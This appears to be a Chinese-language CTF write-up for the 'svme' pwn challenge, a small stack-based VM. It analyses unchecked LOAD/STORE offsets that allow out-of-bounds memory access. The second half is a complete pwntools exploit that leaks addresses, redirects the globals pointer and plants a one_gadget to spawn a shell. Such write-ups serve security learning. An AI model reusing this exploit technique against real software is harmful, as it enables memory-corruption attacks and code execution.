svme

题目来源于github的[项目][https://github.com/parrt/simple-virtual-machine-C] (从dockerfile可以看到)

直接先看源码分析一下

VM结构体

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct {
int *code;
int code_size;

// global variable space
int *globals;
int nglobals;

// Operand stack, grows upwards
int stack[DEFAULT_STACK_SIZE];
Context call_stack[DEFAULT_CALL_STACK_SIZE];
} VM;

Context

1
2
3
4
typedef struct {
int returnip;
int locals[DEFAULT_NUM_LOCALS];
} Context;

在堆上创建一个VM结构体存放其成员变量
opcode存在位于栈上的code里,int类型,由操作码和操作数构成
全局变量存在位与堆上的globals
VM+0x18开始是其模拟的栈空间stack,大小1000字节
再之后是模拟的函数调用栈call_stack,用结构体数组存储,对应有一个返回地址和局部变量

代码有问题的地方在于loadstore
可以直接由输入的操作数作为偏移读写,同时涉及变量类型为int,能够造成数组上溢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
case LOAD: // load local or arg
offset = vm->code[ip++];
vm->stack[++sp] = vm->call_stack[callsp].locals[offset];
break;
case GLOAD: // load from global memory
addr = vm->code[ip++];
vm->stack[++sp] = vm->globals[addr];
break;
case STORE:
offset = vm->code[ip++];
vm->call_stack[callsp].locals[offset] = vm->stack[sp--];
break;
case GSTORE:
addr = vm->code[ip++];
vm->globals[addr] = vm->stack[sp--];
break;

于是可以通过load将存储opcode的指向栈上的指针读到vm模拟的栈上,然后store使栈地址覆盖原本指向全局变量globals的指针,然后使用``

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./svme')

NOOP = 0
IADD = 1
ISUB = 2
IMUL = 3
ILT = 4
IEQ = 5
BR = 6
BRT = 7
BRF = 8
ICONST = 9
LOAD = 10
GLOAD = 11
STORE = 12
GSTORE = 13
PRINT = 14
POP = 15
CALL = 16
RET = 17
HALT = 18

def debug(s=None):
if(s==None):
gdb.attach(r)
else:
gdb.attach(r,s)
pause()


one = [0xe6c7e, 0xe6c81, 0xe6c84]
offset = 0x270b3
pr12_r = 0x0000000000032b59

code= b''
code+= p32(ICONST)+p32(10)
code+= p32(CALL)+p32(6)+p32(1)+p32(1)
code+= p32(LOAD)+p32(0)
code+= p32(LOAD)+p32(0xFFFFFC14)
code+= p32(LOAD)+p32(0xFFFFFC15)
code+= p32(LOAD)+p32(0xFFFFFC10)
code+= p32(LOAD)+p32(0xFFFFFC11)
code+= p32(STORE)+p32(0xFFFFFC15)
code+= p32(STORE)+p32(0xFFFFFC14)
code+= p32(GLOAD)+p32(0x86)
code+= p32(ICONST)+p32(0x270b3)
code+= p32(ISUB)
code+= p32(ICONST)+p32(pr12_r)
code+= p32(IADD)
code+= p32(GSTORE)+p32(0x86)
code+= p32(ICONST)+p32(0)
code+= p32(ICONST)+p32(0)
code+= p32(GSTORE)+p32(0x88)
code+= p32(GSTORE)+p32(0x89)
code+= p32(GLOAD)+p32(0x86)
code+= p32(ICONST)+p32(pr12_r)
code+= p32(ISUB)
code+= p32(ICONST)+p32(one[0])
code+= p32(IADD)
code+= p32(GSTORE)+p32(0x8a)
code+= p32(STORE)+p32(0xFFFFFC15)
code+= p32(STORE)+p32(0xFFFFFC14)
code+= p32(HALT)

pay = code.ljust(0x200, b'\x00')
r.send(pay)

r.interactive()

还有一题打算看的